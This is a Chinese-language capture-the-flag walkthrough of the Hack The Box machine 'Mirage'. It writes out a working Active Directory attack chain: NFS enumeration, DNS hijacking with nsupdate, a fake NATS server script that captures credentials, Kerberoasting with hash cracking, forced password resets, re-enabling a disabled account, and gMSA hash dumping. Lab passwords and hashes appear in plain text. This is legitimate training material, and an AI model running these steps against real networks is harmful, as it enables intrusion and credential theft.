Season8 - Mirage

https://app.hackthebox.com/machines/Mirage | Windows | Hard

Recon

PortScan

➜  Mirage nmap -sT -min-rate 5000 -p- 10.10.11.78
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-20 21:20 CST
Nmap scan report for 10.10.11.78
Host is up (0.055s latency).
Not shown: 65505 closed tcp ports (conn-refused)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
111/tcp   open  rpcbind
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
2049/tcp  open  nfs
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
4222/tcp  open  vrml-multi-use
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
50441/tcp open  unknown
60301/tcp open  unknown
60308/tcp open  unknown
60309/tcp open  unknown
60322/tcp open  unknown
60325/tcp open  unknown
60342/tcp open  unknown
60365/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 13.98 seconds

➜  Mirage nmap -sT -A -p $(cat port | awk -F '/' '{print $1}' | paste -sd ',') 10.10.11.78
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-20 21:23 CST
Nmap scan report for 10.10.11.78
Host is up (0.075s latency).

PORT      STATE SERVICE         VERSION
53/tcp    open  domain          Simple DNS Plus
88/tcp    open  kerberos-sec    Microsoft Windows Kerberos (server time: 2025-07-20 20:00:10Z)
111/tcp   open  rpcbind?
| rpcinfo:
|   program version    port/proto  service
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|_  100005  1,2,3       2049/udp6  mountd
135/tcp   open  msrpc           Microsoft Windows RPC
139/tcp   open  netbios-ssn     Microsoft Windows netbios-ssn
389/tcp   open  ldap            Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http      Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap        Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
|_ssl-date: TLS randomness does not represent time
2049/tcp  open  mountd          1-3 (RPC #100005)
3268/tcp  open  ldap            Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
3269/tcp  open  ssl/ldap        Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
4222/tcp  open  vrml-multi-use?
| fingerprint-strings:
|   GenericLines:
|     INFO {"server_id":"NBFHGFVN5SFGGOMK77DO2ZMPJKCOCALBS4HP4ZXDJFQLOFSY77YOVZKY","server_name":"NBFHGFVN5SFGGOMK77DO2ZMPJKCOCALBS4HP4ZXDJFQLOFSY77YOVZKY","version":"2.11.3","proto":1,"git_co
mmit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":400,"client_ip":"<Your-IP>","xkey":"XB2NV6
U7Z427TDUHH5JKDGOJXJRXP5LO674AGWTYTYQNQKVZCLYD6AHX"}
|     -ERR 'Authorization Violation'
|   GetRequest:
|     INFO {"server_id":"NBFHGFVN5SFGGOMK77DO2ZMPJKCOCALBS4HP4ZXDJFQLOFSY77YOVZKY","server_name":"NBFHGFVN5SFGGOMK77DO2ZMPJKCOCALBS4HP4ZXDJFQLOFSY77YOVZKY","version":"2.11.3","proto":1,"git_co
mmit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":401,"client_ip":"<Your-IP>","xkey":"XB2NV6
U7Z427TDUHH5JKDGOJXJRXP5LO674AGWTYTYQNQKVZCLYD6AHX"}
|     -ERR 'Authorization Violation'
|   HTTPOptions:
|     INFO {"server_id":"NBFHGFVN5SFGGOMK77DO2ZMPJKCOCALBS4HP4ZXDJFQLOFSY77YOVZKY","server_name":"NBFHGFVN5SFGGOMK77DO2ZMPJKCOCALBS4HP4ZXDJFQLOFSY77YOVZKY","version":"2.11.3","proto":1,"git_co
|     -ERR 'Authorization Violation'
|   NULL:
|     INFO {"server_id":"NBFHGFVN5SFGGOMK77DO2ZMPJKCOCALBS4HP4ZXDJFQLOFSY77YOVZKY","server_name":"NBFHGFVN5SFGGOMK77DO2ZMPJKCOCALBS4HP4ZXDJFQLOFSY77YOVZKY","version":"2.11.3","proto":1,"git_co
mmit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":399,"client_ip":"<Your-IP>","xkey":"XB2NV6
U7Z427TDUHH5JKDGOJXJRXP5LO674AGWTYTYQNQKVZCLYD6AHX"}
|_    -ERR 'Authentication Timeout'
5985/tcp  open  http            Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf          .NET Message Framing
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows 10 1703 or Windows 11 21H2 (97%), Microsoft Windows Server 2022 (96%), Windows Server 2019 (95%), Microsoft Windows Server 2012 or 2012 R2 (94%), Micro
soft Windows 10 1703 (93%), Windows Server 2022 (93%), Microsoft Windows Server 2016 or Server 2019 (93%), Microsoft Windows 10 1511 (93%), Microsoft Windows Server 2012 (93%), Microsoft Windo
ws Server 2016 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2025-07-20T20:01:00
|_  start_date: N/A
|_clock-skew: 6h36m31s

TRACEROUTE (using proto 1/icmp)
HOP RTT      ADDRESS
1   92.73 ms 10.10.16.1
2   52.80 ms 10.10.11.78

枚举测试

SMB 匿名测试

➜  Mirage smbclient -L 10.10.11.78 -U anonymous
session setup failed: NT_STATUS_NOT_SUPPORTED

RPC 匿名测试

➜  Mirage rpcclient 10.10.11.78 -U "" -N -c enumdomusers
Cannot connect to server.  Error was NT_STATUS_NOT_SUPPORTED

NFS 枚举

➜  Mirage showmount -e 10.10.11.78             
Export list for 10.10.11.78:
/MirageReports (everyone)

发现 /MirageReports

将其挂载到本机上

➜  Mirage mkdir MirageReports                                  
➜  Mirage mount -t nfs 10.10.11.78:/MirageReports ./MirageReports

里边是两个PDF文件

➜  MirageReports ls
Incident_Report_Missing_DNS_Record_nats-svc.pdf  Mirage_Authentication_Hardening_Report.pdf

翻译过来大概就是：事件报告缺失DNS记录nats-svc、Mirage身份验证强化报告

一些重要内容：

2025年5月3日，开发团队报告称，他们无法解析主机名 nats-svc.mirage.htb。该主机名对于与托管在 Mirage 域上的 NATS 消息系统进行内部服务通信至关重要。
nats-svc.mirage.htb
连接的照片
另一个大概就是要弃用 NTLM 启动Kerberos ，但现在应该不完全是
ad-security@mirage.htb

劫持 NATS Server

到这里一头雾水，抄了下作业

原理大概就是我们模仿 Nats服务器

我们首先使用 nsupdate 来让目标DNS 服务器（DC）将记录nats-svc.mirage.htb 更新为我们的IP

然后我们写一个 Socket 脚本，监听 4222 端口，并且返回数据给对方，我们再接收用户登录的数据

我们首先访问nats-svc.mirage.htb 4222 看一下服务器会回复什么信息

➜  Mirage nc nats-svc.mirage.htb 4222
INFO {"server_id":"NBFHGFVN5SFGGOMK77DO2ZMPJKCOCALBS4HP4ZXDJFQLOFSY77YOVZKY","server_name":"NBFHGFVN5SFGGOMK77DO2ZMPJKCOCALBS4HP4ZXDJFQLOFSY77YOVZKY","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":595,"client_ip":"<Your-IP>","xkey":"XB2NV6U7Z427TDUHH5JKDGOJXJRXP5LO674AGWTYTYQNQKVZCLYD6AHX"} 
-ERR 'Authentication Timeout'

放到脚本 fake_server.py 中

import socket
print('[+] 模拟 Nats 服务器开启：')
s = socket.socket()
s.bind(("0.0.0.0",4222))
s.listen(5)

while True:
    c,addr = s.accept()
    print("[*] 连接的地址是:",addr)
    c.sendall(b'INFO {"server_id":"NBFHGFVN5SFGGOMK77DO2ZMPJKCOCALBS4HP4ZXDJFQLOFSY77YOVZKY","server_name":"NBFHGFVN5SFGGOMK77DO2ZMPJKCOCALBS4HP4ZXDJFQLOFSY77YOVZKY","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":595,"client_ip":"<Your-IP>","xkey":"XB2NV6U7Z427TDUHH5JKDGOJXJRXP5LO674AGWTYTYQNQKVZCLYD6AHX"}\r\n')
    
    data = c.recv(1024)
    print("[+] 接收到的数据是:",data)
    c.close()

这里开始攻击

首先使用 nsupdate 来更新目标服务器的记录

➜  Mirage nsupdate 
> server 10.10.11.78
> update add nats-svc.mirage.htb 3600 IN A <Your-IP>
> send

➜  Mirage python fake_server.py

这样就接收到了对方传过来的的凭据：Dev_Account_A:hx5h7F5554fP@1337!

只能说大佬们的思路真的强

Nats Server 交互

拿到凭据我们就可以开始和目标服务器开始交互了

交互工具：https://github.com/nats-io/natscli?tab=readme-ov-file#installation

和目标服务器进行交互

➜  Mirage nats context add mirage --server nats://nats-svc.mirage.htb --user 'Dev_Account_A' --password 'hx5h7F5554fP@1337!' --select
NATS Configuration Context "mirage"

  Server URLs: nats://nats-svc.mirage.htb
     Username: Dev_Account_A
     Password: ******************
         Path: /root/.config/nats/context/mirage.json
   Connection: OK

➜  Mirage nats stream ls
╭─────────────────────────────────────────────────────────────────────────────────╮
│                                        Streams                                  │
├───────────┬─────────────┬─────────────────────┬──────────┬───────┬──────────────┤
│ Name      │ Description │ Created             │ Messages │ Size  │ Last Message │
├───────────┼─────────────┼─────────────────────┼──────────┼───────┼──────────────┤
│ auth_logs │             │ 2025-05-05 15:18:19 │ 5        │ 570 B │ 76d14h52m20s │
╰───────────┴─────────────┴─────────────────────┴──────────┴───────┴──────────────╯

➜  Mirage nats consumer add auth_logs temp_reader --pull --inactive-threshold 1m

[mirage] ? Start policy (all, new, last, subject, 1h, msg sequence) all
[mirage] ? Acknowledgment policy explicit
[mirage] ? Replay policy instant
[mirage] ? Filter Stream by subjects (blank for all) 
[mirage] ? Maximum Allowed Deliveries -1
[mirage] ? Maximum Acknowledgments Pending 0
[mirage] ? Deliver headers only without bodies No
[mirage] ? Add a Retry Backoff Policy No
Information for Consumer auth_logs > temp_reader created 2025-07-21 06:16:40

Configuration:

                    Name: temp_reader
               Pull Mode: true
          Deliver Policy: All
              Ack Policy: Explicit
                Ack Wait: 30.00s
           Replay Policy: Instant
         Max Ack Pending: 1,000
       Max Waiting Pulls: 512
      Inactive Threshold: 1m0s

State:

            Host Version: 2.11.3
      Required API Level: 0 hosted at level 1
  Last Delivered Message: Consumer sequence: 0 Stream sequence: 0
    Acknowledgment Floor: Consumer sequence: 0 Stream sequence: 0
        Outstanding Acks: 0 out of maximum 1,000
    Redelivered Messages: 0
    Unprocessed Messages: 5
           Waiting Pulls: 0 of maximum 512
           
➜  Mirage nats consumer next auth_logs temp_reader --all
[23:40:36] subj: logs.auth / tries: 1 / cons seq: 4 / str seq: 4 / pending: 1

{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}

Acknowledged message

得到一个用户凭据david.jjackson:N8kQmn6b86!1234@

测试凭据，记得要使用 Kerberos 协议

➜  Mirage nxc smb dc01.mirage.htb -u david.jjackson -p 'pN8kQmn6b86!1234@' -k                             
SMB         dc01.mirage.htb 445    dc01             [*]  x64 (name:dc01) (domain:mirage.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         dc01.mirage.htb 445    dc01             [+] mirage.htb\david.jjackson:pN8kQmn6b86!1234@ 

➜  Mirage nxc ldap 10.10.11.78 -u david.jjackson -p 'pN8kQmn6b86!1234@' -k                             
LDAP        10.10.11.78     389    DC01             [*] None (name:DC01) (domain:mirage.htb) 
LDAP        10.10.11.78     389    DC01             [+] mirage.htb\david.jjackson:pN8kQmn6b86!1234@

再生成krb5.conf 文件

➜  Mirage nxc smb dc01.mirage.htb -u david.jjackson -p 'pN8kQmn6b86!1234@' -k --generate-krb5-file /etc/krb5.conf
SMB         dc01.mirage.htb 445    dc01             [*]  x64 (name:dc01) (domain:mirage.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         dc01.mirage.htb 445    dc01             [+] mirage.htb\david.jjackson:pN8kQmn6b86!1234@

➜  Mirage cat /etc/krb5.conf

[libdefaults]
    dns_lookup_kdc = false
    dns_lookup_realm = false
    default_realm = MIRAGE.HTB

[realms]
    MIRAGE.HTB = {
        kdc = dc01.mirage.htb
        admin_server = dc01.mirage.htb
        default_domain = mirage.htb
    }

[domain_realm]
    .mirage.htb = MIRAGE.HTB
    mirage.htb = MIRAGE.HTB

域分析

收集信息

➜  Mirage bloodhound-python -d 'mirage.htb' -ns 10.10.11.78 --zip -c All -dc 'dc01.mirage.htb' -u 'david.jjackson' -p 'pN8kQmn6b86!1234@' -k
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: mirage.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.mirage.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.mirage.htb
INFO: Found 12 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 21 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.mirage.htb
INFO: Done in 00M 14S
INFO: Compressing output into 20250721063431_bloodhound.zip

用户组信息

其中 NATHAN.AADAM 用户属于远程管理组，暂时是目标用户

横线移动

To NATHAN.AADAM

尝试寻找未开启预认证的用户，无果

➜  Mirage GetNPUsers.py -dc-ip 10.10.11.78 mirage.htb/ -usersfile users -k
  import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

/root/.local/bin/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User NATHAN.AADAM doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User MARK.BBOND doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User DEV_ACCOUNT_A doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User DEV_ACCOUNT_B doesn't have UF_DONT_REQUIRE_PREAUTH set

扒拉 SMB 的文件，无果

➜  Mirage nxc smb dc01.mirage.htb -u david.jjackson -p 'pN8kQmn6b86!1234@' -k -M spider_plus -o DOWNLOAD_FLAG=True
SMB         dc01.mirage.htb 445    dc01             [*]  x64 (name:dc01) (domain:mirage.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         dc01.mirage.htb 445    dc01             [+] mirage.htb\david.jjackson:pN8kQmn6b86!1234@ 
SPIDER_PLUS dc01.mirage.htb 445    dc01             [*] Started module spidering_plus with the following options:
SPIDER_PLUS dc01.mirage.htb 445    dc01             [*]  DOWNLOAD_FLAG: True
SPIDER_PLUS dc01.mirage.htb 445    dc01             [*]     STATS_FLAG: True
SPIDER_PLUS dc01.mirage.htb 445    dc01             [*] EXCLUDE_FILTER: ['print$', 'ipc$']
SPIDER_PLUS dc01.mirage.htb 445    dc01             [*]   EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS dc01.mirage.htb 445    dc01             [*]  MAX_FILE_SIZE: 50 KB
SPIDER_PLUS dc01.mirage.htb 445    dc01             [*]  OUTPUT_FOLDER: /root/.nxc/modules/nxc_spider_plus
SMB         dc01.mirage.htb 445    dc01             [*] Enumerated shares
SMB         dc01.mirage.htb 445    dc01             Share           Permissions     Remark
SMB         dc01.mirage.htb 445    dc01             -----           -----------     ------
SMB         dc01.mirage.htb 445    dc01             ADMIN$                          Remote Admin
SMB         dc01.mirage.htb 445    dc01             C$                              Default share
SMB         dc01.mirage.htb 445    dc01             IPC$            READ            Remote IPC
SMB         dc01.mirage.htb 445    dc01             NETLOGON        READ            Logon server share 
SMB         dc01.mirage.htb 445    dc01             SYSVOL          READ            Logon server share
SPIDER_PLUS dc01.mirage.htb 445    dc01             [+] Saved share-file metadata to "/root/.nxc/modules/nxc_spider_plus/dc01.mirage.htb.json".
SPIDER_PLUS dc01.mirage.htb 445    dc01             [*] SMB Shares:           5 (ADMIN$, C$, IPC$, NETLOGON, SYSVOL)
SPIDER_PLUS dc01.mirage.htb 445    dc01             [*] SMB Readable Shares:  3 (IPC$, NETLOGON, SYSVOL)
SPIDER_PLUS dc01.mirage.htb 445    dc01             [*] SMB Filtered Shares:  1
SPIDER_PLUS dc01.mirage.htb 445    dc01             [*] Total folders found:  25
SPIDER_PLUS dc01.mirage.htb 445    dc01             [*] Total files found:    6
SPIDER_PLUS dc01.mirage.htb 445    dc01             [*] File size average:    1.43 KB
SPIDER_PLUS dc01.mirage.htb 445    dc01             [*] File size min:        23 B
SPIDER_PLUS dc01.mirage.htb 445    dc01             [*] File size max:        4.25 KB
SPIDER_PLUS dc01.mirage.htb 445    dc01             [*] File unique exts:     4 (pol, inf, csv, ini)
SPIDER_PLUS dc01.mirage.htb 445    dc01             [*] Downloads successful: 6
SPIDER_PLUS dc01.mirage.htb 445    dc01             [+] All files processed successfully.

尝试执行 Kerberoasting

成功将nathan.aadam 的 TGS 票据导出来

➜  Mirage GetUserSPNs.py mirage.htb/'david.jjackson':'pN8kQmn6b86!1234@' -dc-host DC01.mirage.htb -k -debug -outputfile SPNHASH
  import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[+] Impacket Library Installation Path: /root/.local/share/pipx/venvs/impacket/lib/python3.13/site-packages/impacket
[+] Connecting to DC01.mirage.htb, port 389, SSL False
[+] Using Kerberos Cache: david.jjackson.ccache
[+] SPN LDAP/DC01.MIRAGE.HTB@MIRAGE.HTB not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] Returning cached credential for KRBTGT/MIRAGE.HTB@MIRAGE.HTB
[+] Using TGT from cache
[+] Trying to connect to KDC at MIRAGE.HTB:88
[+] Total of records returned 4
ServicePrincipalName      Name          MemberOf                                                             PasswordLastSet             LastLogon                   Delegation 
------------------------  ------------  -------------------------------------------------------------------  --------------------------  --------------------------  ----------
HTTP/exchange.mirage.htb  nathan.aadam  CN=Exchange_Admins,OU=Groups,OU=Admins,OU=IT_Staff,DC=mirage,DC=htb  2025-06-24 05:18:18.584667  2025-07-21 18:31:07.044066             

[+] Using Kerberos Cache: david.jjackson.ccache
[+] Returning cached credential for KRBTGT/MIRAGE.HTB@MIRAGE.HTB
[+] Using TGT from cache
[+] Username retrieved from CCache: david.jjackson
[+] Trying to connect to KDC at MIRAGE.HTB:88

爆破票据得到密码：3edc#EDC3

➜  Mirage hashcat -m 13100 SPNHASH /usr/share/wordlists/rockyou.txt

远程登录上去，拿到立足点

➜  Mirage getTGT.py mirage.htb/'NATHAN.AADAM':'3edc#EDC3' -dc-ip 10.10.11.78

➜  Mirage export KRB5CCNAME=NATHAN.AADAM.ccache 

➜  Mirage evil-winrm -i dc01.mirage.htb -r MIRAGE.HTB -u NATHAN.AADAM -p '3edc#EDC3'

*Evil-WinRM* PS C:\Users\nathan.aadam\Desktop> type user.txt
b34xxxxxxxxxxxxxxxxxxxxxxxx

To MARK.BBOND

又看了一下 BloodHound，发现 MARK.BBOND 可以修改 ****JAVIER.MMARSHALL 的密码

所以暂时为下一个目标用户

使用 Winpeas 来收集信息

发现 mark.bbond 用户在AutoLogon中有自动登录的明文凭据

测试凭据

➜  Mirage getTGT.py mirage.htb/'mark.bbond':'1day@atime' -dc-ip 10.10.11.78
  import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in mark.bbond.ccache

➜  Mirage nxc smb dc01.mirage.htb --use-kcache -k     
SMB         dc01.mirage.htb 445    dc01             [*]  x64 (name:dc01) (domain:mirage.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         dc01.mirage.htb 445    dc01             [+] MIRAGE.HTB\mark.bbond from ccache

To JAVIER.MMARSHALL

从上面可以知道用户mark.bbond 可以强制修改 JAVIER.MMARSHALL 用户的密码

通过 bloodyAD 来实现

➜  Mirage bloodyAD -d 'mirage.htb' -k --host dc01.mirage.htb set password 'JAVIER.MMARSHALL' 'Password@123'
[+] Password changed successfully!

请求 TGT 时会提示，用户被禁用了

➜  Mirage getTGT.py mirage.htb/'JAVIER.MMARSHALL':'Password@123' -dc-ip 10.10.11.78
  import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)

我们通过 BloodyAD查一下是否被禁用了

➜  Mirage bloodyAD --kerberos -u "mark.bbond" -p '1day@atime' -d "mirage.htb" --host "dc01.mirage.htb" get object "mark.bbond" --attr userAccountControl

distinguishedName: CN=mark.bbond,OU=Users,OU=Support,OU=IT_Staff,DC=mirage,DC=htb
userAccountControl: NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD

➜  Mirage bloodyAD --kerberos -u "mark.bbond" -p '1day@atime' -d "mirage.htb" --host "dc01.mirage.htb" get object "javier.mmarshall" --attr userAccountControl

distinguishedName: CN=javier.mmarshall,OU=Users,OU=Disabled,DC=mirage,DC=htb
userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT

ACCOUNTDISABLE 用户被禁用了，我们将其ACCOUNTDISABLE 属性删掉

我们有强制修改其密码的权限，那么应该可以修改账户属性

➜  Mirage bloodyAD --kerberos -u "mark.bbond" -p '1day@atime' -d "mirage.htb" --host "dc01.mirage.htb" remove uac 'javier.mmarshall' -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from javier.mmarshall's userAccountControl

设置完后我们再查看一次

➜  Mirage bloodyAD --kerberos -u "mark.bbond" -p '1day@atime' -d "mirage.htb" --host "dc01.mirage.htb" get object "javier.mmarshall" --attr userAccountControl

distinguishedName: CN=javier.mmarshall,OU=Users,OU=Disabled,DC=mirage,DC=htb
userAccountControl: NORMAL_ACCOUNT

对比正常的用户还少一个密码永不过期，我们也给他添加上去

➜  Mirage bloodyAD --kerberos -u "mark.bbond" -p '1day@atime' -d "mirage.htb" --host "dc01.mirage.htb" add uac 'javier.mmarshall' -f DONT_EXPIRE_PASSWORD
[-] ['DONT_EXPIRE_PASSWORD'] property flags added to javier.mmarshall's userAccountControl

但还是失败了

➜  Mirage getTGT.py mirage.htb/'JAVIER.MMARSHALL':'Password@123' -dc-ip 10.10.11.78                                                                     
  import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)

最后发现还需要修改Logon Hours ，因为javier.mmarshall 的 LogonHours 是空的

➜  Mirage bloodyAD --kerberos -u "mark.bbond" -p '1day@atime' -d "mirage.htb" --host "dc01.mirage.htb" get object "javier.mmarshall" --attr LogonHours 

distinguishedName: CN=javier.mmarshall,OU=Users,OU=Disabled,DC=mirage,DC=htb
logonHours: 

➜  Mirage bloodyAD --kerberos -u "mark.bbond" -p '1day@atime' -d "mirage.htb" --host "dc01.mirage.htb" get object "mark.bbond" --attr LogonHours

distinguishedName: CN=mark.bbond,OU=Users,OU=Support,OU=IT_Staff,DC=mirage,DC=htb
logonHours: ////////////////////////////

通过文章可以得到命令：https://activedirectorypro.com/how-to-set-logon-hours-for-active-directory-users/#powershell

# 在 NATHAN.AADAM 中运行
$LogonHours = get-aduser mark.bbond -property logonhours | select-object -expand logonhours
[byte[]]$Hours = $LogonHours
$SecPassword = ConvertTo-SecureString '1day@atime' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('MIRAGE\mark.bbond', $SecPassword)
set-aduser javier.mmarshall -Cred $Cred -replace @{logonhours = $Hours}

最后我们再拿他的TGT

getTGT.py mirage.htb/'JAVIER.MMARSHALL':'Password@123' -dc-ip 10.10.11.78

To Mirage-Service$

通过视图能知道 JAVIER.MMARSHALL 能读取Mirage-Service$ 的GMSA密码

使用 gMSADumper

➜  Mirage python gMSADumper.py -d mirage.htb -k
Users or groups who can read password for Mirage-Service$:
 > javier.mmarshall
Mirage-Service$:::305806d84f7c1be93a07aaf40f0c7866
Mirage-Service$:aes256-cts-hmac-sha1-96:80bada65a4f84fb9006013e332105db15ac6f07cb9987705e462d9491c0482ae
Mirage-Service$:aes128-cts-hmac-sha1-96:ff1d75e3a88082f3dffbb2b8e3ff17dd

TGT

➜  Mirage getTGT.py mirage.htb/'MIRAGE-SERVICE$' -hashes :305806d84f7c1be93a07aaf40f0c7866 -dc-ip 10.10.11.78 
  import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in MIRAGE-SERVICE$.ccache

枚举漏洞

拿到Mirage-Service$ 后，在BLoodHound中不能直接看到对其他节点有修改权限了

这里枚举了好一会，没摸出来什么思路

枚举ADCS的漏洞，也是没能枚举出来漏洞

➜  Mirage cat 20250722043730_Certipy.txt
Certificate Authorities
  0
    CA Name                             : mirage-DC01-CA
    DNS Name                            : dc01.mirage.htb
    Certificate Subject                 : CN=mirage-DC01-CA, DC=mirage, DC=htb
    Certificate Serial Number           : 1512EEC0308E13A146A0B5AD6AA741C9
    Certificate Validity Start          : 2025-07-04 19:58:25+00:00
    Certificate Validity End            : 2125-07-04 20:08:25+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : MIRAGE.HTB\Administrators
      Access Rights
        ManageCa                        : MIRAGE.HTB\Administrators
                                          MIRAGE.HTB\Domain Admins
                                          MIRAGE.HTB\Enterprise Admins
        ManageCertificates              : MIRAGE.HTB\Administrators
                                          MIRAGE.HTB\Domain Admins
                                          MIRAGE.HTB\Enterprise Admins
        Enroll                          : MIRAGE.HTB\Authenticated Users
Certificate Templates                   : [!] Could not find any certificate templates

但是一些 ESC是无法被脚本探测到的，例如 ESC10 ：https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc10-weak-certificate-mapping-for-schannel-authentication

ESC10 的先决条件：

我们首先检查 CertificateMappingMethods 注册表项

可以看到CertificateMappingMethods 注册表项为 0x4

*Evil-WinRM* PS C:\Users\nathan.aadam\Documents> reg query "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL
    EventLogging    REG_DWORD    0x1
    CertificateMappingMethods    REG_DWORD    0x4

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\CipherSuites
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Hashes
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\KeyExchangeAlgorithms
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols

然后第二步是需要找到一个能够修改受害者账户的userPrincipalName 属性账户，通常是GenericWrite 或 WriteProperty 权限来实现的

查看 MIRAGE-SERVICE$ 用户的可写属性

export KRB5CCNAME=MIRAGE-SERVICE\$.ccache
bloodyAD --kerberos -d "mirage.htb" --host "dc01.mirage.htb" get writable --detail

